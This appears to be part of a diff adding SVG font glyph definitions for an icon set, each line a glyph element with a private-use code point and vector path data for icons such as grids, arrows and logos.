+<glyph unicode="&#xf212;" d="M1900 1800v-600h-1800v600h1800zM1800 1300v400h-1600v-400h1600zM500 1600v-200h-200v200h200zM800 1600v-200h-200v200h200zM1100 1600v-200h-200v200h200zM1400 1600v-200h-200v200h200zM1700 1600v-200h-200v200h200zM1900 1100v-900h-1800v900h1800zM1800 300v700 h-1600v-700h1600zM500 900v-200h-200v200h200zM800 900v-200h-200v200h200zM1100 900v-200h-200v200h200zM1700 900v-200h-500v200h500zM1100 600v-200h-800v200h800zM1400 600v-200h-200v200h200zM1700 600v-200h-200v200h200z" />
+<glyph unicode="&#xf213;" d="M1400 1500h-200v-571q0 -143 -70 -220.5t-175 -77.5q-106 0 -180.5 78t-74.5 218v573h-200v-587q0 -61 12.5 -120.5t45 -121t82 -108t129 -75.5t179.5 -29t180.5 28.5t130 74t82.5 106.5t46 120.5t13 120.5v591zM1400 200v200h-900v-200h900z" />
+<glyph unicode="&#xf214;" d="M200 1700h1600v-200h-1600v200zM200 1300h1600v-200h-1600v200zM200 900h1600v-200h-1600v200zM200 500h1600v-200h-1600v200z" />
+<glyph unicode="&#xf215;" d="M1323 500h190l-413 1100h-200l-400 -1100h188l107 300h418zM1170 954h-319l149 486z" />
+<glyph unicode="&#xf216;" d="M1238 1800l262 -300v-100h-1000v100l264 300h474zM1000 1500q41 0 70.5 29.5t29.5 70.5t-29.5 70.5t-70.5 29.5t-70.5 -29.5t-29.5 -70.5t29.5 -70.5t70.5 -29.5zM1800 300v1200q0 41 -29.5 70.5t-70.5 29.5h-154l54 -63v-237h-1200v238l55 62h-155q-41 0 -70.5 -29.5 t-29.5 -70.5v-1200q0 -41 29.5 -70.5t70.5 -29.5h1400q41 0 70.5 29.5t29.5 70.5zM1500 1100l-200 -700h-200l-100 500l-100 -500h-208l-192 700h200l100 -500l100 500h200l100 -500l100 500h200z" />
+<glyph unicode="&#xf217;" d="M1238 1800l262 -300v-100h-1000v100l264 300h474zM1000 1500q41 0 70.5 29t29.5 71q0 41 -29.5 70.5t-70.5 29.5t-70.5 -29.5t-29.5 -70.5q0 -42 29.5 -71t70.5 -29zM1545 1600h155q41 0 70.5 -29.5t29.5 -70.5v-1200q0 -42 -29.5 -71t-70.5 -29h-1400q-41 0 -70.5 29 t-29.5 71v1200q0 41 29.5 70.5t70.5 29.5h155l-55 -63v-237h1200v237zM1400 900v200h-800v-200h300v-500h200v500h300z" />
+<glyph unicode="&#xf218;" d="M1429 1541l110 -111q61 -60 61 -147v-212q0 -87 -61 -147l-663 -663q-60 -61 -147 -61t-147 61l-111 110l-110 111q-61 60 -61 147v212q0 87 61 148l663 662q60 61 147 61q86 0 147 -61zM808 571l642 642q29 29 29 71t-29 72l-214 214q-29 29 -72 29q-42 0 -71 -29 l-642 -642q-29 -30 -29 -72t29 -71l214 -214q29 -29 71.5 -29t71.5 29z" />
+<glyph unicode="&#xf219;" d="M1600 1800h-300v-100h-600v100h-300v-1500h300v100h600v-100h300v1500zM600 1700v-100h-100v100h100zM1500 1700v-100h-100v100h100zM1300 1600v-500h-600v500h600zM600 1500v-100h-100v100h100zM1500 1500v-100h-100v100h100zM600 1300v-100h-100v100h100zM1500 1300 v-100h-100v100h100zM600 1100v-100h-100v100h100zM1500 1100v-100h-100v100h100zM1300 1000v-500h-600v500h600zM600 900v-100h-100v100h100zM1500 900v-100h-100v100h100zM600 700v-100h-100v100h100zM1500 700v-100h-100v100h100zM600 500v-100h-100v100h100zM1500 500 v-100h-100v100h100z" />
+<glyph unicode="&#xf220;" d="M1000 1460q190 0 291 -108q100 -108 100 -313q0 -192 -69 -327q-33 -62 -87.5 -111.5t-134.5 -100.5v-200h600v200h-369q146 101 212 234q74 153 74 335q0 267 -165 422q-166 155 -452 155q-287 0 -452 -157q-165 -156 -165 -420q0 -181 73 -333q62 -130 210 -236h-366 v-200h600v200q-84 55 -139 105t-85 112q-67 133 -67 322q0 206 100 313q99 108 291 108z" />
+<glyph unicode="&#xf221;" d="M700 1600v100h-400v-100h400zM1700 1500v200h-900v-200h900zM700 1300h-200v200l-400 -350l400 -350v200h200v300zM1700 1200v200h-900v-200h900zM1500 900v200h-700v-200h700zM1700 600v200h-900v-200h900zM700 600v100h-400v-100h400zM1100 300v200h-300v-200h300z" />
+<glyph unicode="&#xf222;" d="M300 1500v200h900v-200h-900zM1300 1600v100h400v-100h-400zM1300 1300h200v200l400 -350l-400 -350v200h-200v300zM300 1200v200h900v-200h-900zM500 900v200h700v-200h-700zM300 600v200h900v-200h-900zM1300 600v100h400v-100h-400zM900 300v200h300v-200h-300z" />
+<glyph unicode="&#xf223;" d="M1700 1000q0 190 -94 351.5t-255 255t-351 93.5q-143 0 -272.5 -55.5t-223 -149t-149 -223t-55.5 -272.5t55.5 -272.5t149 -223t223 -149t272.5 -55.5q190 0 351 93.5t255 255t94 351.5zM1070 852h-156v43q0 56 24 98q22 39 88 89q61 43 81 71q20 26 20 62q0 37 -28 58 q-28 19 -79 19q-88 0 -200 -57l-64 128q131 74 277 74q120 0 192 -58q71 -58 71 -155q0 -66 -29 -111q-27 -45 -111 -106q-55 -40 -71 -63q-15 -22 -15 -57v-35zM923 578q-27 26 -27 73q0 50 26 75t77 25q47 0 75 -26q27 -26 27 -74q0 -47 -27 -72q-27 -27 -75 -27t-76 26z " />
+<glyph unicode="&#xf224;" d="M1582 775q40 0 74 7q33 7 73 20v-84q-70 -26 -158 -26q-131 0 -201 79q-59 67 -68 179h-94q18 -32 18 -79q0 -80 -55 -126q-57 -45 -156 -45h-215v250h-141l93 -250h-103l-59 167h-228l-58 -167h-104l93 250h-93v100h131l93 249h106l92 -249h178v250h177q115 0 177 -41 q55 -36 55 -113q0 -52 -27 -87l-8 -9h129q8 62 31 110q36 71 98 106q64 37 151 37q93 0 169 -38l-35 -81q-26 13 -64 25q-35 11 -71 11q-83 0 -131 -59q-35 -44 -44 -111h293v-100h-295q9 -77 44 -119q45 -56 133 -56zM444 1104l-18 -54h103l-21 61q-2 5 -7.5 22t-9.5 29 q-12 41 -14 51q-14 -59 -33 -109zM897 1213v-163h119q39 3 64 18q28 19 28 66q0 42 -30 61q-30 18 -97 18h-84zM564 949v1h-173v-1h173zM1092 948l-3 2h-192v-168h104q60 0 92 23q31 24 31 74q0 46 -32 69z" />
+<glyph unicode="&#xf225;" d="M1774 1774q126 -127 126 -305t-126 -305l-153 -152q-45 -46 -108 -77l-213 65l169 164l76 77l76 76q63 63 63 152t-63 152q-63 64 -152 64t-152 -64l-77 -76l-76 -76l-164 -169l-65 214q31 63 77 107l152 153q127 126 305.5 126t304.5 -126zM200 1600l800 -600l-600 800z M600 1800l400 -800l-200 800h-200zM200 1400l800 -400l-800 200v200zM936 631l64 69l74 -235l-138 -139q-127 -126 -305 -126t-305 126q-126 126 -126 305t126 305l139 138l235 -74l-69 -64l-152 -153q-64 -63 -64 -152t64 -152q63 -64 152 -64t152 64zM1800 400l-800 600 l600 -800zM1400 200l-400 800l200 -800h200zM1800 600l-800 400l800 -200v-200z" />
+<glyph unicode="&#xf226;" d="M376 400h1248q176 219 176 500q0 163 -63.5 311t-170.5 255t-255 170.5t-311 63.5t-311 -63.5t-255 -170.5t-170.5 -255t-63.5 -311q0 -281 176 -500zM1000 1600q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5z M600 1400q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM1400 1400q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM863 845l337 455v-600q0 -82 -59 -141t-141 -59 t-141 59t-59 141q0 85 63 145zM400 1000q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM1600 1000q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM1100 700 q0 41 -29.5 70.5t-70.5 29.5t-70.5 -29.5t-29.5 -70.5t29.5 -70.5t70.5 -29.5t70.5 29.5t29.5 70.5z" />
+<glyph unicode="&#xf227;" d="M500 200v1500h-200v-1500h200zM600 800v800q83 28 189 28.5t214.5 -14t220.5 -29t239 -13.5t237 28v-800q-83 -35 -201 -39t-229.5 13t-239 32.5t-229.5 19.5t-201 -26z" />
+<glyph unicode="&#xf228;" d="M300 1600h1400v-200h-1400v200zM300 1100h1400v-200h-1400v200zM300 600h1400v-200h-1400v200z" />
+<glyph unicode="&#xf229;" d="M300 997l600 403v-800zM1100 1400l600 -403l-600 -397v800z" />
+<glyph unicode="&#xf230;" d="M1000 1800q-163 0 -301 -80.5t-218.5 -218.5t-80.5 -301q0 -142 70 -266.5t183 -222.5q4 -3 23.5 -19.5t29.5 -25.5t30 -27.5t34.5 -33t33 -35.5t34.5 -42q133 -174 162 -271q29 97 162 271q16 21 34.5 42t33 35.5t34.5 33t30 27.5t29.5 25.5t23.5 19.5q113 98 183 222.5 t70 266.5q0 163 -80.5 301t-218.5 218.5t-301 80.5zM1000 1544q142 0 243 -101t101 -243t-101 -243t-243 -101t-243 101t-101 243t101 243t243 101z" />
+<glyph unicode="&#xf231;" d="M1300 686l117 594q60 33 96.5 91.5t36.5 128.5q0 104 -73 177t-177 73t-177 -73t-73 -177q0 -70 36.5 -128.5t96.5 -91.5zM1300 1650q62 0 106 -44t44 -106t-44 -106t-106 -44t-106 44t-44 106t44 106t106 44zM1472 1170l328 133v-900l-488 -203l-612 203l-500 -200v900 l500 200l427 -141l173 -730z" />
+<glyph unicode="&#xf232;" d="M400 500v300h-200v1000h1200v-300h200v-300h200v-1000h-1200v300h-200zM1100 1700q-82 0 -141 -59t-59 -141h400q0 83 -58.5 141.5t-141.5 58.5zM400 900v500h-100v-500h100zM1100 1200h400q0 83 -58.5 141.5t-141.5 58.5q-82 0 -141 -59t-59 -141zM600 600v500h-100 v-500h100zM1500 700q83 0 141.5 58.5t58.5 141.5q0 82 -59 141t-141 59t-141 -59t-59 -141q0 -83 58.5 -141.5t141.5 -58.5zM1700 300v200q-101 0 -185.5 16.5t-144.5 43t-115 58.5l-110 64t-115 58.5t-144.5 43t-185.5 16.5v-500h1000z" />
+<glyph unicode="&#xf233;" d="M500 1700h1400v-1100h-200v-200h-200v-200h-1400v1100h200v200h200v200zM1800 700v900h-1200v-900h1200zM1500 1100q-82 0 -141 59t-59 141t59 141t141 59t141 -59t59 -141t-59 -141t-141 -59zM1600 500v100h-1100v800h-100v-900h1200zM700 1400l1000 -600h-1000v600z M1400 300v100h-1100v800h-100v-900h1200z" />
+<glyph unicode="&#xf234;" d="M800 1500q0 41 -29.5 70.5t-70.5 29.5h-500q-41 0 -70.5 -29.5t-29.5 -70.5q0 -42 30.5 -71t69.5 -29h500q41 0 70.5 29.5t29.5 70.5zM1400 1000l400 400v-1000l-400 400v200zM1300 600v600q0 41 -29.5 70.5t-70.5 29.5h-800q-41 0 -70.5 -29.5t-29.5 -70.5v-600 q0 -41 29.5 -70.5t70.5 -29.5h800q41 0 70.5 29.5t29.5 70.5z" />
+<glyph unicode="&#xf235;" d="M1200 700v600q0 82 -59 141t-141 59h-700q-82 0 -141 -59t-59 -141v-600q0 -82 59 -141t141 -59h700q82 0 141 59t59 141zM1300 950l600 -450v1000l-600 -450v-100z" />
+<glyph unicode="&#xf236;" d="M1900 500v1000q0 82 -59 141t-141 59h-1300q-82 0 -141 -59t-59 -141v-1000q0 -82 59 -141t141 -59h1300q82 0 141 59t59 141zM800 600v800l600 -400z" />
+<glyph unicode="&#xf237;" d="M1450 800q124 0 212 -88t88 -212t-88 -212t-212 -88t-212 88t-88 212q0 34 9 69l-438 230q-89 -99 -221 -99q-124 0 -212 88t-88 212t88 212t212 88q130 0 221 -99l438 230q-9 35 -9 69q0 124 88 212t212 88t212 -88t88 -212t-88 -212t-212 -88q-130 0 -221 99l-438 -230 q9 -35 9 -69t-9 -69l438 -230q89 99 221 99z" />
+<glyph unicode="&#xf238;" d="M1800 1650q0 -46 -25.5 -83.5t-66.5 -54.5v-1311h-1509l422 673q-21 37 -21 76q0 62 44 106t106 44t106 -44t44 -106q0 -17 -5 -37l144 -63q45 50 111 50q22 0 51 -9l358 641q-59 44 -59 118q0 62 44 106t106 44q25 0 53 -10l5 9v-11q41 -17 66.5 -54.5t25.5 -83.5z M1608 301v1114l-329 -589q21 -37 21 -76q0 -62 -44 -106t-106 -44t-106 44t-44 106l1 7l-163 72q-40 -29 -88 -29q-24 0 -51 10l-320 -509h1229z" />
+<glyph unicode="&#xf239;" d="M1800 200l1 1228q45 27 72 72.5t27 99.5q0 82 -59 141t-141 59t-141 -59t-59 -141q0 -59 31.5 -107.5t82.5 -72.5l-413 -658q-52 38 -116 38q-62 0 -112 -34t-73 -90l-214 153q14 34 14 71q0 83 -58.5 141.5t-141.5 58.5t-141.5 -58.5t-58.5 -141.5q0 -54 26.5 -99 t71.5 -72l-298 -529h1700zM1700 1700q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM500 1000q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM1085 700 q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5z" />
+<glyph unicode="&#xf240;" d="M1622 1420q35 -52 23.5 -112.5t-63.5 -95.5t-112.5 -23.5t-95.5 63.5q-21 31 -55 67q-36 34 -67 55q-37 25 -77 41q-42 19 -84 26q-90 20 -182 1q-43 -9 -84 -27q-40 -16 -77 -41q-33 -22 -66 -55q-34 -34 -56 -67q-24 -36 -41 -76q-1 -2 -1 -4q-12 -30 -23 -72h-461v300 h266q9 16 12 20q42 62 91 111q51 51 111 91q63 43 128 70q71 30 141 43q151 32 302 0q70 -13 141 -43q65 -27 128 -70q60 -40 111 -91q49 -49 91 -111zM1250 1000q0 104 -73 177t-177 73t-177 -73t-73 -177t73 -177t177 -73t177 73t73 177zM378 580q-35 52 -23.5 113 t63.5 96t113 23t95 -64q21 -31 55 -67q36 -34 67 -55q37 -25 77 -41q36 -16 84 -26q87 -19 182 0q48 10 84 26q40 16 77 41q33 22 66 55q31 31 56 67q26 41 41 76q1 2 1 4q12 30 23 72h461v-300h-266q-2 -2 -5.5 -9t-6.5 -11q-42 -62 -91 -111q-51 -51 -111 -91 q-63 -43 -128 -70q-64 -27 -141 -43q-151 -32 -302 0q-77 16 -141 43q-65 27 -128 70q-60 40 -111 91q-49 49 -91 111z" />
+<glyph unicode="&#xf242;" d="M1800 1200l-500 -400v299q-86 -2 -152.5 -9t-143.5 -26t-141 -50.5t-132.5 -85.5t-130.5 -128q22 269 199 421t501 173v306zM400 600h1100v200l200 160v-560h-1500v1100h943q-274 -48 -441 -200h-302v-700z" />
+<glyph unicode="&#xf301;" d="M1894 1554q-75 -112 -183 -190q1 -15 1 -47q0 -147 -43 -294.5t-131 -282.5t-210 -239t-293 -166t-366 -62q-304 0 -563 165q48 -5 88 -5q255 0 455 157q-119 2 -212.5 73t-129.5 182q39 -7 69 -7q47 0 96 13q-127 26 -210.5 127t-83.5 233v4q80 -43 166 -46 q-75 51 -119 131.5t-44 174.5q0 100 50 184q138 -169 334.5 -270.5t421.5 -112.5q-10 45 -10 84q0 151 107.5 258.5t259.5 107.5q160 0 268 -116q126 26 233 89q-43 -132 -162 -202q107 11 211 57z" />
+<glyph unicode="&#xf302;" d="M605 1800q-87 0 -148.5 -61.5t-61.5 -148.5v-908q0 -6 -1 -9q0 -209 117.5 -337.5t342.5 -134.5q2 0 7 -0.5t8 -0.5h521q86 0 148 62t62 149t-62 148.5t-148 61.5h-544q-30 0 -30 39v303h574q86 0 148 61.5t62 148.5t-62 149t-148 62h-574v206q0 87 -62 148.5t-149 61.5z " />
+<glyph unicode="&#xf303;" d="M1492 200h308q0 214 -57.5 418t-161 376.5t-251 318t-323 247.5t-383 158.5t-424.5 56.5v-302q210 0 407 -64.5t356 -182t278.5 -274t185 -351t65.5 -401.5zM948 200h308q0 211 -84 403.5t-225.5 332t-337 222t-409.5 82.5v-302q150 0 286 -56t243 -160 q106 -104 162.5 -239t56.5 -283zM413 202q88 0 150.5 61t62.5 148q0 86 -62.5 147.5t-150.5 61.5t-150.5 -61.5t-62.5 -147.5q0 -87 62 -148t151 -61z" />
+<glyph unicode="&#xf304;" d="M289 1800h1423q37 0 62.5 -25.5t25.5 -62.5v-1424q0 -36 -25.5 -62t-62.5 -26h-408v620h208l31 241h-239v154q0 59 25 88.5t95 29.5h128v216q-66 9 -186 9q-142 0 -226.5 -83.5t-84.5 -235.5v-178h-209v-241h209v-620h-766q-37 0 -63 26t-26 62v1424q0 37 26 62.5 t63 25.5z" />
+<glyph unicode="&#xf305;" d="M846 200h293v730h245l37 284h-282v182q0 69 29.5 103.5t111.5 34.5h151v255q-95 11 -219 11q-167 0 -266.5 -98.5t-99.5 -277.5v-210h-246v-284h246v-730z" />
+<glyph unicode="&#xf306;" d="M600 1500v200h-300v-200h300zM1800 500v1100h-900l-200 -200h-500v-900h1600zM1100 1300q124 0 212 -88t88 -212t-88 -212t-212 -88t-212 88t-88 212t88 212t212 88z" />
+<glyph unicode="&#xf307;" d="M803 1554q-7 -40 -4.5 -85.5t20.5 -92t42 -84t61 -61t78 -23.5q50 0 94 36t68 89t35.5 113t-1.5 108q-16 72 -72.5 117.5t-123.5 45.5q-68 0 -124 -45.5t-73 -117.5zM390 1464q-13 -55 4 -123t61.5 -119t101.5 -51t101.5 51t61.5 119t4 123q-14 61 -62 100t-105 39 t-105 -39t-62 -100zM1276 1464q-13 -55 4 -123t61.5 -119t100.5 -51q57 0 101.5 51t61.5 119t4 123q-14 61 -62 100t-105 39t-104.5 -39t-61.5 -100zM1217 321l125 430q37 126 6 215t-122 138t-226 49q-207 0 -304 -109t-40 -293l126 -430q17 -53 79.5 -87t138.5 -34 q75 0 137.5 34t79.5 87zM607 1084q-107 -147 -42 -359l112 -379q-53 -31 -120 -31q-65 0 -117.5 28.5t-67.5 74.5l-107 365q-48 156 34 248t258 92q41 0 79 -6q-11 -11 -29 -33zM1442 1123q176 0 258.5 -92t33.5 -248l-107 -365q-15 -46 -67.5 -74.5t-117.5 -28.5 q-67 0 -120 31l111 377q67 215 -42 361q-13 18 -28 33q38 6 79 6z" />
+<glyph unicode="&#xf308;" d="M1770 1368l141 -142l-347 -341l-142 142l84 82q-54 129 -151 231l-461 -659l-526 -470q-29 -29 -70.5 -29t-71.5 29l-120 121q-29 29 -29 70.5t29 70.5l1097 992q-231 145 -567 148q412 125 658 30q25 -10 50 -23.5t44.5 -25t45 -33t39.5 -32.5t40 -39t35.5 -37.5t37 -43 t33 -40t34.5 -44t32 -40.5z" />
+<glyph unicode="&#xf309;" d="M855 1694q20 -7 21 -22t-11 -35.5t-30 -44.5t-32 -51.5t-19.5 -54t9 -54.5t52.5 -51q23 -17 61 -5t75 37t82.5 63.5t83.5 74t78 69t65 47.5q39 22 84.5 30t95 0t96 -47t77.5 -106q33 -72 41 -182t-14.5 -239.5t-70 -255.5t-135 -242t-200.5 -187q-117 -74 -246.5 -106 t-252.5 -20t-233.5 58.5t-198.5 132.5t-139 201q-29 66 -39.5 141t-2.5 147.5t30 147.5t57.5 142.5t79 131t95 113.5t106.5 91t113 62t113.5 27.5t108.5 -13.5zM976 1049q30 -68 126 -56q91 12 173 84q96 86 93 187q-1 34 -13 65q-26 65 -124 33q-92 -29 -176 -112 q-94 -94 -87 -171q2 -16 8 -30z" />
+<glyph unicode="&#xf310;" d="M400 1400h600v200h-800v-1201h800v201h-600v800zM600 1200h600v300l600 -500l-600 -500v300h-600v400z" />
+<glyph unicode="&#xf311;" d="M376 299h1248q176 221 176 501q0 162 -63.5 310.5t-170.5 255.5t-255 170.5t-311 63.5t-311 -63.5t-255 -170.5t-170.5 -255.5t-63.5 -310.5q0 -280 176 -501zM900 1400q0 41 29.5 70.5t70.5 29.5t70.5 -29.5t29.5 -70.5q0 -42 -29.5 -71t-70.5 -29t-70.5 29t-29.5 71z M400 1200q0 41 29.5 70.5t70.5 29.5t70.5 -29.5t29.5 -70.5q0 -42 -29.5 -71t-70.5 -29t-70.5 29t-29.5 71zM852 860q37 37 200 124.5t307 156.5l144 69q-30 -64 -76.5 -160.5t-141 -275t-131.5 -215.5q-63 -63 -151 -63t-151 63q-62 62 -62 150.5t62 150.5zM300 700 q0 41 29.5 70.5t70.5 29.5t70.5 -29.5t29.5 -70.5q0 -42 -29.5 -71t-70.5 -29t-70.5 29t-29.5 71zM900 700q0 41 29.5 70.5t70.5 29.5t70.5 -29.5t29.5 -70.5q0 -42 -29.5 -71t-70.5 -29t-70.5 29t-29.5 71zM1500 700q0 41 29.5 70.5t70.5 29.5t70.5 -29.5t29.5 -70.5 q0 -42 -29.5 -71t-70.5 -29t-70.5 29t-29.5 71z" />
+<glyph unicode="&#xf312;" d="M1700 1200h100v-1100h-1600v1100h100v200q0 136 67 251t182 182t251 67q105 0 200 -42q95 42 200 42q136 0 251 -67t182 -182t67 -251v-200zM500 1400v-200h200v200q0 164 102 300h-2q-124 0 -212 -88t-88 -212zM1500 1200v200q0 124 -88 212t-212 88h-2 q102 -136 102 -300v-200h200zM1000 1622q-100 -90 -100 -222v-200h200v200q0 132 -100 222z" />
+<glyph unicode="&#xf313;" d="M446 1484l54 -230l-54 -229l201 -124l123 -201l230 54l230 -54l123 201l201 124l-54 229l54 230l-200 124l-124 201l-230 -55l-229 54l-125 -200zM1001 850q-167 0 -284 117t-117 284q0 165 117.5 282t283.5 117q165 0 282 -117t117 -282q0 -166 -117 -283.5t-282 -117.5 zM999 950q-124 0 -211.5 87.5t-87.5 212.5q0 124 87.5 212t211.5 88t212.5 -88t88.5 -212t-88 -212t-213 -88zM1383 840l-128 -224l-208 47l253 -583l140 220h250zM613 833l125 -225l213 51l-251 -579l-140 220h-250z" />
+<glyph unicode="&#xf314;" d="M200 1800h700v-700h-700v700zM1100 1800v-700h700v700h-700zM550 1550l150 150h-300zM1200 1200v500h500v-500h-500zM450 1450l-150 150v-300zM800 1600l-150 -150l150 -150v300zM550 1350l-150 -150h300zM900 200v700h-700v-700h700zM1800 200h-700v700h700v-700z M800 800v-500h-500v500h500zM1450 650l150 150h-300zM1200 400l150 150l-150 150v-300zM1550 550l150 -150v300zM1450 450l-150 -150h300z" />
+<glyph unicode="&#xf315;" d="M1500 1400v-200q82 0 141 -59t59 -141v-700q0 -82 -59 -141t-141 -59h-1000q-82 0 -141 59t-59 141v700q0 82 59 141t141 59v200q0 136 67 251t182 182t251 67t251 -67t182 -182t67 -251zM800 1400v-200h400v200q0 82 -59 141t-141 59t-141 -59t-59 -141zM1080 375v217 q54 24 87 73.5t33 109.5q0 83 -59 141.5t-141 58.5t-141 -58.5t-59 -141.5q0 -60 33 -109.5t87 -73.5v-217h160z" />
+<glyph unicode="&#xf316;" d="M1401 1600v-600h200v800h-1201v-800h201v600h800zM1201 1400v-600h300l-500 -600l-500 600h300v600h400z" />
+<glyph unicode="&#xf317;" d="M800 600v600h-300l500 600l500 -600h-300v-600h-400zM600 400v600h-200v-800h1201v800h-201v-600h-800z" />
+<glyph unicode="&#xf318;" d="M500 1300h1300v-1000h-1600v1300h700l200 -200h-700v-900h100v800z" />
+<glyph unicode="&#xf319;" d="M1900 1000q0 183 -71.5 349.5t-192 287t-287 192t-349.5 71.5t-349.5 -71.5t-287 -192t-192 -287t-71.5 -349.5t71.5 -349.5t192 -287t287 -192t349.5 -71.5t349.5 71.5t287 192t192 287t71.5 349.5zM800 990q-378 39 -548 229q74 240 271.5 396t453.5 167 q-33 -55 -56 -126t-32 -149t12 -154.5t73 -127.5q-35 -5 -69 6t-58.5 30t-51 40t-45.5 36t-43 17.5t-44 -14.5q-88 -69 -42 -150q50 -88 228 -144q62 -20 134 -33q97 -17 164.5 -40.5t106.5 -49.5t60 -62.5t27 -71t5 -84.5q-6 -298 -406 -470q2 86 -11.5 153t-38 109 t-55 73.5t-63.5 52t-62.5 37t-54 36.5t-35.5 43q10 42 18.5 67.5t27.5 61.5t52 66t82 56zM1649 1422q31 -48 54.5 -97.5t38.5 -92.5t23 -89t11.5 -81t1.5 -75.5t-4.5 -66t-10 -58.5t-11.5 -46.5t-12 -37.5l-7 -24q-21 51 -52 95.5t-60.5 74.5t-57.5 58t-50.5 60t-32.5 66 q-39 137 169 314z" />
+<glyph unicode="&#xf320;" d="M552 1800h743q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5h-100v-1300q0 -41 -29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5v1200q0 41 -29.5 70.5t-70.5 29.5t-70.5 -29.5t-29.5 -70.5v-1200q0 -41 -29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5v596h-43 q-123 0 -227 60.5t-164.5 164.5t-60.5 227t60.5 227t164.5 164.5t227 60.5zM1400 600l500 400l-500 400v-800z" />
+<glyph unicode="&#xf321;" d="M1365 1712q145 -74 248 -198t149 -268.5t35 -305t-85 -305.5t-198 -247.5t-268 -149t-305 -35.5t-306 85q-138 71 -237 185t-149 255l164 103q34 -120 113.5 -218t194.5 -158q111 -57 234 -65.5t233 27t204.5 114.5t151.5 190t66 234t-27 233t-114.5 205t-189.5 152 t-234 65.5t-233 -27t-204.5 -114.5t-151.5 -190l188 -97l-495 -308l-39 582l178 -91q74 145 198.5 248t269 149t305 34.5t304.5 -84.5zM929 929q-29 29 -29 71q0 4 2 10t2 9h-1l97 481l97 -481l303 -319l-450 212l2 2q-13 7 -23 15z" />
+<glyph unicode="&#xf322;" d="M400 1500h-322q-30 0 -51.5 -23.5t-17.5 -60.5l156 -999q185 736 221 913q8 36 36.5 53t61.5 17h516q-70 208 -77 231q-19 69 -78 69h-331q-28 0 -50.5 -17t-29.5 -47zM888 1500h-400q2 4 5 11t12.5 24t19.5 30t23.5 24t26.5 11h213q21 0 46 -25t40 -50zM267 375 q-49 -75 -126 -75h1573q40 0 67.5 22t35.5 61l168 844q5 35 -15 54t-47 19h-323v147q0 15 -19.5 34t-46.5 19h-376q-23 0 -45 -14.5t-32 -29.5l-10 -14l-71 -142h-441q-25 0 -45 -13.5t-24 -36.5q-159 -670 -172 -733q-17 -92 -51 -142zM1538 1300h-438q2 4 6.5 11t17.5 24 t25.5 30t30.5 24t33 11h229q20 0 37 -10.5t27.5 -25t18 -29t10.5 -25.5z" />
+<glyph unicode="&#xf323;" d="M1100 1800h700v-700l-1000 -1000l-700 700zM1400 1200q82 0 141 59t59 141t-59 141t-141 59t-141 -59t-59 -141t59 -141t141 -59z" />
+<glyph unicode="&#xf324;" d="M2000 1000q0 203 -79.5 388t-213.5 319t-319 213.5t-388 79.5t-388.5 -79.5t-319.5 -213.5t-213 -319t-79 -388q0 -163 50.5 -315.5t143 -275.5t215.5 -215.5t275.5 -143t315.5 -50.5q203 0 388 79t319 213t213.5 319.5t79.5 388.5zM778 463l-341 915l117 8q24 3 32 31 t-3 54.5t-35 25.5q-145 -11 -237 -11q-37 0 -58 1q121 186 318.5 294t428.5 108q172 0 327.5 -61t277.5 -173q-58 9 -111.5 -33.5t-53.5 -124.5q0 -18 4.5 -37.5t8.5 -32.5t16 -36.5t17 -31.5t22.5 -37t21.5 -35q55 -96 55 -246q0 -66 -35 -191t-70 -217l-35 -92l-303 837 q24 1 44.5 5t29.5 8l8 4q24 2 32 33t-3 60.5t-35 28.5q-144 -12 -238 -12q-39 0 -97 3t-97 6l-39 3q-24 1 -35 -29t-3 -61t32 -32l92 -8l126 -341zM1741 1000q12 32 17.5 47t16.5 60.5t14.5 85t3.5 102t-9 130.5q105 -193 105 -425q0 -245 -119 -453.5t-321 -324.5 q247 661 292 778zM610 191q-226 109 -362.5 328t-136.5 481q0 196 72 359q336 -921 427 -1168zM1013 854l258 -698q-133 -45 -271 -45q-121 0 -229 33q28 83 112.5 329.5t129.5 380.5z" />
+<glyph unicode="&#xf325;" d="M1800 700h100q41 0 70.5 -29.5t29.5 -71.5v-298q0 -42 -29.5 -71.5t-70.5 -29.5h-400q-41 0 -70.5 29.5t-29.5 71.5v298q0 42 29.5 71.5t70.5 29.5h100v200h-500v-200h100q41 0 70.5 -29.5t29.5 -71.5v-298q0 -42 -29.5 -71.5t-70.5 -29.5h-400q-41 0 -70.5 29.5 t-29.5 71.5v298q0 42 29.5 71.5t70.5 29.5h100v200h-500v-200h100q41 0 70.5 -29.5t29.5 -71.5v-298q0 -42 -29.5 -71.5t-70.5 -29.5h-400q-41 0 -70.5 29.5t-29.5 71.5v298q0 42 29.5 71.5t70.5 29.5h100v200q0 82 59 141t141 59h500v200h-100q-41 0 -70.5 29.5t-29.5 71.5 v298q0 42 29.5 71.5t70.5 29.5h400q41 0 70.5 -29.5t29.5 -71.5v-298q0 -42 -29.5 -71.5t-70.5 -29.5h-100v-200h500q82 0 141 -59t59 -141v-200z" />
